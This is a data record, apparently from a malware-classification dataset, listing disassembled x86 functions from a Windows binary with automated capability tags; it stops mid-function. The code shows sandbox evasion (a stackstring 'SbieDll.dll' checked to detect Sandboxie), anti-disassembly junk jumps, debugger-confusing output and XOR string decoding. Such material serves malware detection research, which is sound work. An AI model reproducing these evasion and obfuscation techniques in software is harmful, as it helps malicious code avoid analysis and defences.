joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000f9f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0xd7
mov dword [ebp - 4], 0
jmp 0x1000fa12
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x1f
jge 0x1000fa51
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x26700b95]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1000fa4c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x1000fa09
mov eax, 1
imul ecx, eax, 0x1f
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1000fad0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1007e274]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0xf], 0x62
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x44
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x2e
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x1000fb84
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x62
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x78
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x20
mov byte [ebp - 0x1a], 0x44
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x64
mov byte [ebp - 0x12], 0x21
mov byte [ebp - 0x11], 0
lea ecx, [ebp - 0x24]
push ecx
call fcn.1001c000
add esp, 4
call fcn.1001c250
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003eb1d
mov esp, ebp
pop ebp
ret

Function at 0x1000fd40
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1007e274]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
clc
jae 0x1000fd58
pop esi
inc edx
pushf
push 0xa
Function at 0x1000fd67
Capabilities:
Contain obfuscated stackstrings
Print debug messages

Disassembly:
jae 0x1000fd65
jmp 0x1000fd60
call fcn.1000fd67
jae 0x1000fd60
add esp, 4
jmp 0x1000fd6c
dec dword [esp]
jno 0x1000fd71
jns 0x1000fd5c
jp 0x1000fd75
add esp, 4
popf
jmp 0x1000fd7c
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000fd95
jne 0x1000fd95
inc edx
jl 0x1000fd9a
jmp 0x1000fd9c
je 0x1000fd97
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1000fdb6
jne 0x1000fdb5
call 0x9304ee3d
rol byte [ebx + eax*4], 0xf0
xor eax, 3
add eax, 4
xor eax, 5
je 0x1000fdc4
add eax, 0x1750374
jne 0x1000fdc4
call 0x35e5438e
mov byte [ebp - 0x1c], 0x25
mov byte [ebp - 0x1b], 0x73
mov byte [ebp - 0x1a], 0x25
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x25
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x25
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x25
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x25
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x25
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x25
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
clc
jae 0x1000fe2f
jg 0x1000fdbe
pushf
push 0xa
jae 0x1000fe3c
jmp 0x1000fe37
call 0x1000fe3e
jae 0x1000fe37
add esp, 4
jmp 0x1000fe43
dec dword [esp]
jno 0x1000fe48
jns 0x1000fe33
jp 0x1000fe4c
add esp, 4
popf
jmp 0x1000fe53
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000fe6c
jne 0x1000fe6c
invalid
jl 0x1000fe71
jmp 0x1000fe73
je 0x1000fe6e
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1000fe8d
jne 0x1000fe8c
call 0x9304ef14
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1000fe9b
jne 0x1000fe9b
call 0x9b5c5cfe
dec ebp
cld
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003eb1d
mov esp, ebp
pop ebp
ret

Function at 0x1000fee8
Capabilities:
Access peb ldr_data

Disassembly:
jae 0x1000fee6
jmp 0x1000fee1
call fcn.1000fee8
jae 0x1000fee1
add esp, 4
jmp 0x1000feed
dec dword [esp]
jno 0x1000fef2
jns 0x1000fedd
jp 0x1000fef6
add esp, 4
popf
jmp 0x1000fefd
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000ff16
jne 0x1000ff16
call 0x1fc1326a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x20], 0x20000
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x100101c4
Capabilities:
Create thread

Disassembly:
jae 0x100100d6
jmp 0x100100d1
call fcn.100100d8
jae 0x100100d1
add esp, 4
jmp 0x100100dd
dec dword [esp]
jno 0x100100e2
jns 0x100100cd
jp 0x100100e6
add esp, 4
popf
jmp 0x100100ed
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10010106
jne 0x10010106
call 0x1fc1345a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1000fd40
clc
jae 0x10010121
retf
pushf
push 0xa
jae 0x1001012e
jmp 0x10010129
call 0x10010130
jae 0x10010129
add esp, 4
jmp 0x10010135
dec dword [esp]
jno 0x1001013a
jns 0x10010125
jp 0x1001013e
add esp, 4
popf
jmp 0x10010145
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001015e
add byte [eax], al
add byte [edx - 0x7f], dl
ljmp 0x358
jne 0x1001015e
jns 0x100101db
jl 0x10010163
add ebp, ebx
add edi, dword [ecx + 0x74]
sti
jmp 0x10010165
je 0x10010160
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001017f
jne 0x1001017e
call 0x9304f206
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001018d
jne 0x1001018d
call 0xffe2079
push dword [ebx]
rol byte [ebp + 0x750374c0], 0
call 0x1000feb0
xor eax, eax
test eax, eax
je 0x1001019b
jne 0x1001019a
call 0x9304f222
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
lcall 0x7002, 0x73f8fb74
lcall 0x669a, 0x1750374
pushfd
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100101a9
jmp 0x100101ab
je 0x100101a6
clc
jae 0x100101b0
jo 0x1001014a
je 0x100101b5
jne 0x100101b5
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x100101c2
jmp 0x100101bd
call 0x100101c4
jae 0x100101bd
add esp, 4
jmp 0x100101c9
dec dword [esp]
jno 0x100101ce
jns 0x100101b9
jp 0x100101d2
add esp, 4
popf
jmp 0x100101d9
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100101f2
jne 0x100101f2
call 0x1fc13546
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1000fad0
push 0
push 0
push 0
push 0x1000ff40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000fff0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000fba0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1001046b
Capabilities:
Create thread

Disassembly:
jae 0x10010469
jmp 0x10010464
call fcn.1001046b
jae 0x10010464
add esp, 4
jmp 0x10010470
dec dword [esp]
jno 0x10010475
jns 0x10010460
jp 0x10010479
add esp, 4
popf
jmp 0x10010480
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10010499
jne 0x10010499
call 0x1fc137ed
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x10010340
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
clc
jae 0x100104c7
stosd dword es:[edi], eax
dec ebp
pushf
push 0xa
jae 0x100104d4
jmp 0x100104cf
call 0x100104d6
jae 0x100104cf
add esp, 4
jmp 0x100104db
dec dword [esp]
jno 0x100104e0
jns 0x100104cb
jp 0x100104e4
add esp, 4
popf
jmp 0x100104eb
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10010504
jne 0x10010504
dec ebp
jl 0x10010509
jmp 0x1001050b
je 0x10010506
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10010525
jne 0x10010524
call 0x9304f5ac
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10010533
jne 0x10010533
call 0xd086c56a
xor eax, eax
test eax, eax
je 0x1001053c
jne 0x1001053b
call 0x9304f5c3
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
mov al, 0x74
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001054a
jmp 0x1001054c
je 0x10010547
clc
jae 0x10010551
xor byte [eax + 0x1750374], 0xb0
je 0x10010556
jne 0x10010556
mov al, 0x66
pushfd
pushf
push 0xa
jae 0x10010563
jmp 0x1001055e
call 0x10010565
jae 0x1001055e
add esp, 4
jmp 0x1001056a
dec dword [esp]
jno 0x1001056f
jns 0x1001055a
jp 0x10010573
add esp, 4
popf
jmp 0x1001057a
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10010593
jne 0x10010593
call 0x1fc138e7
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x10010250
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
clc
jae 0x100105c1
clc
pop eax
pushf
push 0xa
jae 0x100105ce
jmp 0x100105c9
call 0x100105d0
jae 0x100105c9
add esp, 4
jmp 0x100105d5
dec dword [esp]
jno 0x100105da
jns 0x100105c5
jp 0x100105de
add esp, 4
popf
jmp 0x100105e5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100105fe
jne 0x100105fe
pop eax
jl 0x10010603
jmp 0x10010605
je 0x10010600
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001061f
jne 0x1001061e
call 0x9304f6a6
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001062d
jne 0x1001062d
call 0x6ffd4bbc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10010565
Capabilities:
Create thread

Disassembly:
jae 0x10010469
jmp 0x10010464
call fcn.1001046b
jae 0x10010464
add esp, 4
jmp 0x10010470
dec dword [esp]
jno 0x10010475
jns 0x10010460
jp 0x10010479
add esp, 4
popf
jmp 0x10010480
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10010499
jne 0x10010499
call 0x1fc137ed
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x10010340
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
clc
jae 0x100104c7
stosd dword es:[edi], eax
dec ebp
pushf
push 0xa
jae 0x100104d4
jmp 0x100104cf
call 0x100104d6
jae 0x100104cf
add esp, 4
jmp 0x100104db
dec dword [esp]
jno 0x100104e0
jns 0x100104cb
jp 0x100104e4
add esp, 4
popf
jmp 0x100104eb
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10010504
jne 0x10010504
dec ebp
jl 0x10010509
jmp 0x1001050b
je 0x10010506
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10010525
jne 0x10010524
call 0x9304f5ac
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10010533
jne 0x10010533
call 0xd086c56a
xor eax, eax
test eax, eax
je 0x1001053c
jne 0x1001053b
call 0x9304f5c3
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
mov al, 0x74
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001054a
jmp 0x1001054c
je 0x10010547
clc
jae 0x10010551
xor byte [eax + 0x1750374], 0xb0
je 0x10010556
jne 0x10010556
mov al, 0x66
pushfd
pushf
push 0xa
jae 0x10010563
jmp 0x1001055e
call 0x10010565
jae 0x1001055e
add esp, 4
jmp 0x1001056a
dec dword [esp]
jno 0x1001056f
jns 0x1001055a
jp 0x10010573
add esp, 4
popf
jmp 0x1001057a
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10010593
jne 0x10010593
call 0x1fc138e7
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x10010250
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
clc
jae 0x100105c1
clc
pop eax
pushf
push 0xa
jae 0x100105ce
jmp 0x100105c9
call 0x100105d0
jae 0x100105c9
add esp, 4
jmp 0x100105d5
dec dword [esp]
jno 0x100105da
jns 0x100105c5
jp 0x100105de
add esp, 4
popf
jmp 0x100105e5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100105fe
jne 0x100105fe
pop eax
jl 0x10010603
jmp 0x10010605
je 0x10010600
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001061f
jne 0x1001061e
call 0x9304f6a6
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001062d
jne 0x1001062d
call 0x6ffd4bbc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10010ea0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 9
mov dword [ebp - 4], 0
jmp 0x10010ec2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xe
jge 0x10010f01
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x1058becf]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10010efc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10010eb9
mov eax, 1
imul ecx, eax, 0xe
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10010f20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0xa
mov dword [ebp - 4], 0
jmp 0x10010f42
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 9
jge 0x10010f81
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x6c2eab18]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10010f7c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10010f39
mov eax, 1
imul ecx, eax, 9
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10010fa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x1a
mov dword [ebp - 4], 0
jmp 0x10010fc2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x12
jge 0x10011001
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x7d1d0edb]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10010ffc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10010fb9
mov eax, 1
imul ecx, eax, 0x12
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x10011020
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x22
mov dword [ebp - 4], 0
jmp 0x10011042
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 9
jge 0x10011081
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0xef2958c]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001107c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10011039
mov eax, 1
imul ecx, eax, 9
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x100110a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x25
mov dword [ebp - 4], 0
jmp 0x100110c2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 8
jge 0x10011101
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x464dc7f0]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x100110fc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x100110b9
mov eax, 1
shl eax, 3
mov ecx, dword [ebp - 0xc]
mov byte [ecx + eax], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10011120
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x27
mov dword [ebp - 4], 0
jmp 0x10011142
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 8
jge 0x10011181
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x100b4a5b]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001117c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10011139
mov eax, 1
shl eax, 3
mov ecx, dword [ebp - 0xc]
mov byte [ecx + eax], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x100111a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x34
mov dword [ebp - 4], 0
jmp 0x100111c2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xc
jge 0x10011201
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x10bbf953]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x100111fc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x100111b9
mov eax, 1
imul ecx, eax, 0xc
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10011220
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x39
mov dword [ebp - 4], 0
jmp 0x10011242
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x10
jge 0x10011281
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x1bda9b36]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001127c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10011239
mov eax, 1
shl eax, 4
mov ecx, dword [ebp - 0xc]
mov byte [ecx + eax], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x100112a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x3d
mov dword [ebp - 4], 0
jmp 0x100112c2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xc
jge 0x10011301
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x2ed0f0b5]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x100112fc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x100112b9
mov eax, 1
imul ecx, eax, 0xc
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x10011320
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x3d
mov dword [ebp - 4], 0
jmp 0x10011342
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xe
jge 0x10011381
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x59721512]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001137c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10011339
mov eax, 1
imul ecx, eax, 0xe
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x100113a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x41
mov dword [ebp - 4], 0
jmp 0x100113c2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xe
jge 0x10011401
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x4f2c80b4]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x100113fc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x100113b9
mov eax, 1
imul ecx, eax, 0xe
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10011420
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x46
mov dword [ebp - 4], 0
jmp 0x10011442
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xd
jge 0x10011481
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x2b93394b]
xor edx, dword [ebp - 8]
